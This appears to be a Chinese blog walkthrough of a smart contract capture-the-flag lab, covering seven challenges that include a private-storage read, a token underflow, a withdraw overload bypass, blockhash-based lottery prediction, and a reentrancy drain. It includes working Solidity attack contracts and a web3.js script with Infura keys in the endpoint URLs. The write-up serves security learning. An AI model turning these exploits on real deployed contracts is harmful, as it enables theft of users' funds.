security innovation 靶场刷题(上)

Donation

感觉有点不太明白成为winner到底要干啥,但是withdrawDonationsFromTheSuckersWhoFellForIt()函数可以转走合约中的钱,因此应该就能是winner了。
看了一下WP,原来这个靶场所有题目完成的标志是把钱转回。
写了个攻击合约才发现需要auth,是这个靶场对每一题都有的auth。我想直接交互,但是我不知道为什么remix这里点不了了:
security innovation 靶场刷题(上)_第1张图片

(注:后来发现,是因为题目的那个给的都是小写,应该有一部分字母是大写,所以才不行。)

考虑到要与合约直接交互,我又不会web3.js和python的那个,正好想到了这个靶场是给abi的,因此利用这个:
myetherwallet
来交互。直接调用withdrawDonationsFromTheSuckersWhoFellForIt函数即可。

Lock Box

考察智能合约的可见性,读private量,拿web3.js读一下即可:

const Web3 = require('web3');
var Tx = require('ethereumjs-tx').Transaction;
// rpcURL = "https://rinkeby.infura.io/v3/2ab0c9f096474b2a8b7b60a25ded6c21";
rpcURL = "https://ropsten.infura.io/v3/4b96df939eb84de689c2ceb92b831086";
const web3 = new Web3(rpcURL);
web3.eth.getStorageAt("0xd62038f72ADa7Bb9fB78E86f0aFedDC37927ba9d", "1", function(x,y){
     console.info(y);})

注意读的是slot1,因为继承的CtfFramework合约还有个mapping占据了slot0。

Piggy Bank

函数重写的时候没加上onlyOwner的修饰,看一下余额是150000000000000000,直接collectFunds弄回来就可以了。

SI Token Sale

找了一会没找到有什么利用点:

contract SIToken is StandardToken {
     

    using SafeMath for uint256;

    string public name = "SIToken";
    string public symbol = "SIT";
    uint public decimals = 18;
    uint public INITIAL_SUPPLY = 1000 * (10 ** decimals);

    constructor() public{
     
        totalSupply_ = INITIAL_SUPPLY;
        balances[this] = INITIAL_SUPPLY;
    }
}

contract SITokenSale is SIToken, CtfFramework {
     

    uint256 public feeAmount;
    uint256 public etherCollection;
    address public developer;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
     
        //minus a small developer fee
        feeAmount = 10 szabo; 
        developer = msg.sender;
        purchaseTokens(msg.value);
    }

    function purchaseTokens(uint256 _value) internal{
     
        require(_value > 0, "Cannot Purchase Zero Tokens");
        require(_value < balances[this], "Not Enough Tokens Available");
        balances[msg.sender] += _value - feeAmount;
        balances[this] -= _value;
        balances[developer] += feeAmount; 
        etherCollection += msg.value;
    }

    function () payable external ctf{
     
        purchaseTokens(msg.value);
    }

    // Allow users to refund their tokens for half price ;-)
    function refundTokens(uint256 _value) external ctf{
     
        require(_value>0, "Cannot Refund Zero Tokens");
        transfer(this, _value);
        etherCollection -= _value/2;
        msg.sender.transfer(_value/2);
    }

    function withdrawEther() external ctf{
     
        require(msg.sender == developer, "Unauthorized: Not Developer");
        require(balances[this] == 0, "Only Allowed Once Sale is Complete");
        msg.sender.transfer(etherCollection);
    }

}

很明显withdrawEther我们没法用,能用的就只有refundTokens,但是只能把余额的一般提取出来,因此需要想办法让我们自己的balanceOf足够到可以将合约里的前拿出来。
又找了一会,在这里发现了溢出:

balances[msg.sender] += _value - feeAmount;

因此转过去的value<10即可溢出,使我们的balance无限大,就可以将全部的钱取出了。
记得refundTokens的时候,传的值是合约余额的2倍。

Secure Bank

这题不会,看了WP才恍然大悟,原来是这样。
主要就是SecureBank和MembersBank合约的withdraw函数是不同的:

function withdraw(address _user, uint256 _value) public isMember(_user) ctf{
     
function withdraw(address _user, uint8 _value) public ctf{
     

_value一个是uint256,另一个是uint8,因此就不算是继承重写了,而是2个不同的函数,在wallet里面也能直接看出来有2个withdraw函数:
security innovation 靶场刷题(上)_第2张图片
但是他们都调用了super.withdraw,这里都是调用SimpleBankwithdraw函数:

    //取钱
    //但是这个取钱可以任意取别人的,没有检测
    //后续的子合约应该会加上
    function withdraw(address _user, uint256 _value) public ctf{
     
        require(_value<=balances[_user], "Insufficient Balance");
        balances[_user] -= _value;
        msg.sender.transfer(_value);
    }

因此可以任意取任何人的钱,只不过需要这个人是member里面的,注册一下即可。
去Etherscan能看到创建合约的人的address,0.4ether的余额就在这个人的balance里面:
security innovation 靶场刷题(上)_第3张图片
给这个人注册一下,然后转走就可以了。学到了学到了!

Lottery

区块链的随机数问题:

        bytes32 entropy = blockhash(block.number);
        bytes32 entropy2 = keccak256(abi.encodePacked(msg.sender));
        bytes32 target = keccak256(abi.encodePacked(entropy^entropy2));
        bytes32 guess = keccak256(abi.encodePacked(_seed));

首先是entropy,官方文档写了:

block.blockhash(uint blockNumber) returns (bytes32): hash of the given block - only works for 256 most recent blocks excluding current

意思是说 block.blockhash() 只能使用近 256 个块的块号来获取 Hash 值,并且还强调了不包含当前块,如果使用当前块进行计算 block.blockhash(block.numbber) 其结果始终为 0x0000000…
因此entropy是0x000000000…,然后entropy2是我们可以算出来的,^是相同为0,不同为1,因此只要让_seeduint(keccak256(abi.encodePacked(msg.sender)))即可。

contract Feng {
     
    uint public res;
    bytes32 public entropy;
    bytes32 public entropy2;
    function attack() public {
     
        entropy = blockhash(block.number);
        entropy2 = keccak256(abi.encodePacked(msg.sender));
        res = uint(entropy^entropy2);
    }
}

算出来,然后play即可:
security innovation 靶场刷题(上)_第4张图片

Trust Fund

审计一下,比较明显的重入攻击:

    function withdraw() external ctf{
     
        require(allowancePerYear > 0, "No Allowances Allowed");
        checkIfYearHasPassed();
        require(!withdrewThisYear, "Already Withdrew This Year");
        if (msg.sender.call.value(allowancePerYear)()){
     
            withdrewThisYear = true;
            numberOfWithdrawls = numberOfWithdrawls.add(1);
        }
    }

写个攻击合约打一下就行了,注意打之前调用ctf_challenge_add_authorized_sender给攻击合约权限。

pragma solidity 0.4.24;
interface TrustFund{
     
    function withdraw() external ;
}


contract Feng {
     
    uint public times = 0;
    TrustFund constant private target = TrustFund(0x1cb648a1f2014Ddc2e12432075E4f93bA8cfB48D);
    function attack() public {
     
        target.withdraw();
        times++;
    }
    function() public payable {
     
        if(times != 10){
     
            target.withdraw();
            times++;
        }
    }
    function kill() public {
     
        selfdestruct(msg.sender);
    }
}

attack打完别忘了kill,把钱再转回来。

打完才发现我好像跳题了,本来按照顺序应该是record label的,问题不大,接下来的6题放到(下)了。

你可能感兴趣的:(区块链,区块链)